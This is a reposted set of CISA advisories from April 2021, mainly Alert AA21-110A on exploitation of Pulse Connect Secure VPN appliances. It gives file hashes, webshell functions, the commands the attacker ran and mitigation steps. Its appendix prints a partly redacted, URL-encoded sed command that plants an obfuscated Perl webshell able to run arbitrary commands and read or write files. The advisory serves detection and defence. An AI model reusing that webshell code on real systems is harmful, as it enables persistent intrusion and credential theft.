by Scott Muniz | Apr 20, 2021 | Security, Technology
This article is contributed. See the original author and article here.
CISA has issued Emergency Directive (ED) 21-03, as well as Alert AA21-110A, to address the exploitation of vulnerabilities affecting Pulse Connect Secure (PCS) software. An attacker could exploit these vulnerabilities to gain persistent system access and take control of the enterprise network operating the vulnerable PCS device. These vulnerabilities are being exploited in the wild.
Specifically, ED 21-03 directs federal departments and agencies to run the Pulse Connect Secure Integrity Tool on all instances of PCS virtual and hardware appliances to determine whether any PCS files have been maliciously modified or added.
Although ED 21-03 applies to Federal Civilian Executive Branch departments and agencies, CISA strongly recommends state and local governments, the private sector, and others to run the Pulse Connect Secure Integrity Tool and review ED 21-03: Mitigate Pulse Connect Secure Product Vulnerabilities for additional mitigation recommendations.
by Scott Muniz | Apr 20, 2021 | Security, Technology
This article is contributed. See the original author and article here.
CISA is aware of ongoing exploitation of Ivanti Pulse Connect Secure vulnerabilities compromising U.S. government agencies, critical infrastructure entities, and private sector organizations.
In response, CISA has released Alert AA21-110A: Exploitation of Pulse Connect Secure Vulnerabilities to offer technical details regarding this activity. Ivanti has provided a mitigation and is developing a patch.
CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to follow the guidance in Alert AA21-110A, which includes:
For additional information regarding this ongoing exploitation, see the FireEye blog post: Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day.
by Scott Muniz | Apr 20, 2021 | Security, Technology
This article is contributed. See the original author and article here.
Oracle has released its Critical Patch Update for April 2021 to address 384 vulnerabilities across multiple products. A remote attacker could exploit some of these vulnerabilities to take control of an affected system.
CISA encourages users and administrators to review the Oracle April 2021 Critical Patch Update and apply the necessary updates.
by Scott Muniz | Apr 20, 2021 | Security, Technology
This article is contributed. See the original author and article here.
Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Ivanti Integrity Checker Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.
Ivanti has provided a mitigation and is developing a patch. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Ivanti Integrity Checker Tool, update to the latest software version, and investigate for malicious activity.
Technical Details
On March 31, 2021, Ivanti released an Integrity Checker Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:
We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).
The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:
DSUpgrade.pm MD5: 4d5b410e1756072a701dfd3722951907
- Runs arbitrary commands passed to it
- Copies malicious code into
Licenseserverproto.cgi
Licenseserverproto.cgi MD5: 9b526db005ee8075912ca6572d69a5d6
- Copies malicious logic to the new files during the patching process, allowing for persistence
Secid_canceltoken.cgi MD5: f2beca612db26d771fe6ed7a87f48a5a
- Runs arbitrary commands passed via
HTTP requests
compcheckresult.cgi MD5: ca0175d86049fa7c796ea06b413857a3
- Publicly-facing page to send arbitrary commands with
ID argument
Login.cgi MD5: 56e2a1566c7989612320f4ef1669e7d5
- Allows for credential harvesting of authenticated users
Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a
- Runs arbitrary commands passed via
HTTP requests
Other files were found with additional functionality:
libdsplibs.so MD5: 416488b6c8a9bdb9c0cb592e36f44677
- Trojanized shared object to bypass multi-factor authentication via a hard-coded backdoor key.
Many of the threat actor’s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:
Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.
The threat actor then ran the commands listed in table 1 via the webshell.
Table 1: Commands run via webshell
| Time |
Command |
| 2021-01-19T07:46:05.000+0000 |
pwd |
| 2021-01-19T07:46:24.000+0000 |
cat%20/home/webserver/htdocs/dana-na/[redacted] |
| 2021-01-19T08:10:13.000+0000 |
cat%20/home/webserver/htdocs/dana-na/l[redacted] |
| 2021-01-19T08:14:18.000+0000 |
See Appendix. |
| 2021-01-19T08:15:11.000+0000 |
cat%20/home/webserver/htdocs/dana-na/[redacted] |
| 2021-01-19T08:15:49.000+0000 |
cat%20/home/webserver/htdocs/dana-na/[redacted] |
| 2021-01-19T09:03:05.000+0000 |
cat%20/home/webserver/htdocs/dana-na/[redacted] |
| 2021-01-19T09:04:47.000+0000 |
$mount |
| 2021-01-19T09:05:13.000+0000 |
/bin/mount%20-o%20remount,rw%20/dev/root%20/ |
| 2021-01-19T09:07:10.000+0000 |
$mount |
The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity.
Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.
Mitigations
CISA strongly urges organizations using Pulse Secure devices to immediately:
If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:
- Contact CISA to report your findings (see Contact Information section below).
- Contact Ivanti Pulse Secure for assistance in capturing forensic information.
- Review “Unauthenticated Web Requests” log for evidence of exploitation, if enabled.
- Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). Note: Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
- Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance’s VPN lease pool.
- Look for unauthorized applications and scheduled tasks in their environment.
- Ensure no new administrators were created or non-privileged users were added to privileged groups.
- Remove any remote access programs not approved by the organization.
- Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.
In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 – Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:
After preservation, you can remediate your Pulse Connect Secure appliance by:
- Disabling the external-facing interface.
- Saving the system and user config.
- Performing a factory reset via the Serial Console. Note: For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
- Updating the appliance to the newest version.
- Re-importing the saved config.
- Re-enabling the external interface.
CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Ivanti Integrity Checker Tool again after remediation has been taken place.
Contact Information
CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at
- 1-888-282-0870 (From outside the United States: +1-703-235-8832)
- central@cisa.dhs.gov (UNCLASS)
- us-cert@dhs.sgov.gov (SIPRNET)
- us-cert@dhs.ic.gov (JWICS)
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.
Appendix: Large sed Command Found In Unauthenticated Logs
Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20$n=$_[0];my%20$rs;for%20(my%20$i=0;$i%3C$n;$i++){my%20$n1=int(rand(256));$rs.=chr($n1);}return%20$rs;}sub%20a{my%20$st=$_[0];my%20$k=r([redacted]);my%20$en%20=%20RC4(%20$k.$ph,%20$st);return%20encode_base64($k.$en);}sub%20b{my%20$s=%20decode_base64($_[0]);%20my%20$l=length($s);my%20$k=%20substr($s,0,[redacted]);my%20$en=substr($s,[redacted],$l-[redacted]);my%20$de%20=%20RC4(%20$k.$ph,%20$en%20);return%20$de;}sub%20c{my%20$fi=CGI::param(%27img%27);my%20$FN=b($fi);my%20$fd;print%20%22Content-type:%20application/x-downloadn%22;open(*FILE,%20%22%3C$FN%22%20);while(%3CFILE%3E){$fd=$fd.$_;}close(*FILE);print%20%22Content-Disposition:%20attachment;%20filename=tmpnn%22;print%20a($fd);}sub%20d{print%20%22Cache-Control:%20no-cachen%22;print%20%22Content-type:%20text/htmlnn%22;my%20$fi%20=%20CGI::param(%27cert%27);$fi=b($fi);my%20$pa=CGI::param(%27md5%27);$pa=b($pa);open%20(*outfile,%20%22%3E$pa%22);print%20outfile%20$fi;close%20(*outfile);}sub%20e{print%20%22Cache-Control:%20no-cachen%22;print%20%22Content-type:%20image/gifnn%22;my%20$na=CGI::param(%27name%27);$na=b($na);my%20$rt;if%20(!$na%20or%20$na%20eq%20%22cd%22)%20{$rt=%22Error%20404%22;}else%20{my%20$ot=%22/tmp/1%22;system(%22$na%20%3E/tmp/1%202%3E&1%22);open(*cmd_result,%22%3C$ot%22);while(%3Ccmd_result%3E){$rt=$rt.$_;}close(*cmd_result);unlink%20$ot}%20%20print%20a($rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20%22%22){e();}else{%20%20%20&main();}}if%20($ENV{%27REQUEST_METHOD%27}%20eq%20%22POST%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX
References
Revisions
Initial version: April 20, 2021
This product is provided subject to this Notification and this Privacy & Use policy.
by Scott Muniz | Apr 20, 2021 | Security, Technology
This article is contributed. See the original author and article here.
VMware has released a security update to address a vulnerability affecting NSX-T. An attacker can exploit this vulnerability to take control of an affected system
CISA encourages users and administrators to review VMSA-2021-0006 and apply the necessary update and workaround.
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